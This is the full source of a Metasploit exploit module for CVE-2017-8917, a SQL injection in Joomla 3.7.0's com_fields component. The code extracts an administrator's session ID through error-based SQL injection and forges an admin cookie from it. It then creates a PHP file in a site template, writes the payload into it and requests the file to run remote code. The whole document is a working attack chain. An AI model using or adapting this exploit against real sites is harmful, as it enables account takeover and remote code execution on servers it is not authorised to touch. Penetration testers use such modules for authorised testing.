## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Joomla def initialize(info={}) super(update_info(info, 'Name' => 'Joomla Component Fields SQLi Remote Code Execution', 'Description' => %q{ This module exploits a SQL injection vulnerability in the com_fields component, which was introduced to the core of Joomla in version 3.7.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mateus Lino', # Vulnerability discovery 'luisco100 ' # Metasploit module ], 'References' => [ [ 'CVE', '2017-8917' ], # SQLi [ 'EDB', '42033' ], [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as POST data, so # really it's unlimited 'Space' => 262144, # 256k }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Joomla 3.7.0', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'May 17 2017', 'DefaultTarget' => 0)) end def check # Request using a non-existing table val = sqli(rand_text_alphanumeric(rand(10)+6), 'check') if val.nil? return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def sqli(tableprefix, option) # SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in). # The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real Administrator or Super User sessions. if option == 'check' start = rand_text_alpha(5) start_h = start.unpack('H*')[0] fin = rand_text_alpha(5) fin_h = fin.unpack('H*')[0] sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))" else start = rand_text_alpha(3) start_h = start.unpack('H*')[0] fin = rand_text_alpha(3) fin_h = fin.unpack('H*')[0] sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))" end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'option' => 'com_fields', 'view' => 'fields', 'layout'=> 'modal', 'list[fullordering]' => sql } }) if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/ return $1 end return nil end def exploit # Request using a non-existing table first, to retrieve the table prefix val = sqli(rand_text_alphanumeric(rand(10)+6), 'check') if val.nil? fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") else table_prefix = Base64.decode64(val) table_prefix.sub! '_session', '' print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") end # Retrieve the admin session using our retrieved table prefix val = sqli("#{table_prefix}_", 'exploit') if val.nil? fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!") else auth_cookie_part = val print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]") end # Retrieve cookies res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php') }) if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ cookie_begin = $1 print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") end # Modify cookie to authenticated admin auth_cookie = cookie_begin auth_cookie << '=' auth_cookie << auth_cookie_part auth_cookie << ';' # Authenticated session res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'), 'cookie' => auth_cookie }) if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/ print_good("#{peer} - Successfully authenticated") else fail_with(Failure::Unknown, "#{peer} - Session failure") end # Retrieve template view res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'templates' } }) # We try to retrieve and store the first template found if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ template_id = $1 file_id = $2 form = res.body.split(/
]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi) input_hidden = form[2].split(/]+)\/>/mi) input_id = input_hidden[7].split("\"") input_id = input_id[1] else fail_with(Failure::Unknown, "Unable to retrieve template") end filename = rand_text_alphanumeric(rand(10)+6) # Create file print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'task' => 'template.createFile', 'id' => template_id, 'file' => file_id, }, 'vars_post' => { 'type' => 'php', 'address' => '', input_id => '1', 'name' => filename } }) # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] print_status("#{peer} - Following redirect to [ #{location} ]") res = send_request_cgi( 'uri' => location, 'method' => 'GET', 'cookie' => auth_cookie ) # Retrieving template token if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ token = $1 print_status("#{peer} - Token [ #{token} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") end if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ template_path = $1 print_status("#{peer} - Template path [ #{template_path} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") end else fail_with(Failure::Unknown, "#{peer} - Creating file failed") end filename_base64 = Rex::Text.encode_base64("/#{filename}.php") # Inject payload data into file print_status("#{peer} - Insert payload into file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), 'cookie' => auth_cookie, 'vars_get' => { 'option' => 'com_templates', 'view' => 'template', 'id' => template_id, 'file' => filename_base64, }, 'vars_post' => { 'jform[source]' => payload.encoded, 'task' => 'template.apply', token => '1', 'jform[extension_id]' => template_id, 'jform[filename]' => "/#{filename}.php" } }) if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") else fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") end # Request payload register_files_for_cleanup("#{filename}.php") print_status("#{peer} - Executing payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), 'cookie' => auth_cookie }) end end